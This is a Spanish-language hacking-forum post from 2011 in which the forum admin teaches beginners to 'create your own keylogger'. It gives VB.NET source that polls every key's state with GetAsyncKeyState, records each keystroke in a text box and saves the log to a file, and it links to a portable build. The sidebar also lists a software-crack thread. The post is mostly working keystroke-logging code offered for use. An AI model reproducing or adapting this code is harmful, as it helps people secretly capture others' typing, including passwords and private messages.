Bienvenido al foro de Hacking Elite Group..

Espero que disfrute el foro. Por mas información comuníquese con los administradores.

Nuestro grupo:https://www.facebook.com/groups/HackingElit/
Nuestra Web:http:http://hackingelitegroup.net.ms/
Nuestro Foro:http://hackingelitegroup.forumotion.com/


Saludos ATTA: DeathHack
Buscar
 
 

Resultados por:
 


Rechercher Búsqueda avanzada

Últimos temas
» Que tal, Me presento.
Lun Ene 19, 2015 3:27 am por Don Ghafka

» Me Presento
Jue Jul 11, 2013 4:41 pm por tolete

» me presento
Sáb Ene 26, 2013 5:47 am por BTO911

» Curso de seguridad informatica
Lun Ene 21, 2013 5:20 pm por 616e6f6e

» OpenHack Fedris 3.04 Final
Lun Ene 21, 2013 12:53 pm por DeathHack

» buenas me presento
Sáb Dic 01, 2012 3:18 am por anonsmoke

» Crack Para Photoshop
Lun Sep 10, 2012 1:59 pm por The_mach

» Cursos online gratuitos
Lun Sep 10, 2012 12:28 am por The_mach

» Curso de Hacking y Cracking
Vie Sep 07, 2012 2:59 pm por SokarTefnut

Diciembre 2018
LunMarMiérJueVieSábDom
     12
3456789
10111213141516
17181920212223
24252627282930
31      

Calendario Calendario

Conectarse

Recuperar mi contraseña




No estás conectado. Conéctate o registrate

Crea tu propio keylogger

Ir abajo  Mensaje [Página 1 de 1.]

1 Crea tu propio keylogger el Vie Dic 02, 2011 11:54 pm

DeathHack

avatar
Admin
Hola a todos de la comunidad hoy decid? hacer un post sobre como hacer un muy simple keylogger pero de la forma mas simple posible para que todos los que sean novatos en programaci?n lo entiendan.

Buen e encontrado un v?deo que explica lo mas f?cil y simple posible.



el c?digo fuente de ese programa esta ac?..

Código:
Codigo "Public Class Form1"
Public Class Form1
Dim Result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Codigo "Timer 1"
For i = 1 To 255
Result = 0
Result = GetAsyncKeyState(i)
If Result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next

Codigo Button "Iniciar"
Timer1.Start()

Codigo Button "Parar"
Timer1.Stop()

Codigo Button "Borrar"
RichTextBox1.Clear()

Codigo Button "Guardar"
Dim Save As New SaveFileDialog()
Dim myStreamWriter As System.IO.StreamWriter
Save.Filter = "Text (*.txt)|*.txt|HTML(*.html*)|*.html|PHP(* .php*)|*.phpAll files(*.*)|*.*"
Save.CheckPathExists = True
Save.Title = "Guardar como"
Save.ShowDialog(Me)
Try
myStreamWriter = System.IO.File.AppendText(Save.FileName)
myStreamWriter.Write(RichTextBox1.Text)
myStreamWriter.Flush()
Catch ex As Exception

End Try

Codigo Button "Abrir"
Dim Open As New OpenFileDialog()
Dim myStreamReader As System.IO.StreamReader
Open.Filter = "Text [*.txt*]|*.txt|All Files [*,*]|*,*"
Open.CheckFileExists = True
Open.Title = "Abrir Archivo"
Open.ShowDialog(Me)
Try
Open.OpenFile()
myStreamReader = System.IO.File.OpenText(Open.FileName)
RichTextBox1.Text = myStreamReader.ReadToEnd()
Catch ex As Exception

End Try
End Sub

Codigo Button "Salir"
Me.Close()


Para las personas que no tengan el programa les dejare una direcci?n de un post mio donde p?bico el programa..
Esta portable as? que no deber?n instalar nada...

http://hackingelitegroup.blogspot.com/

Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.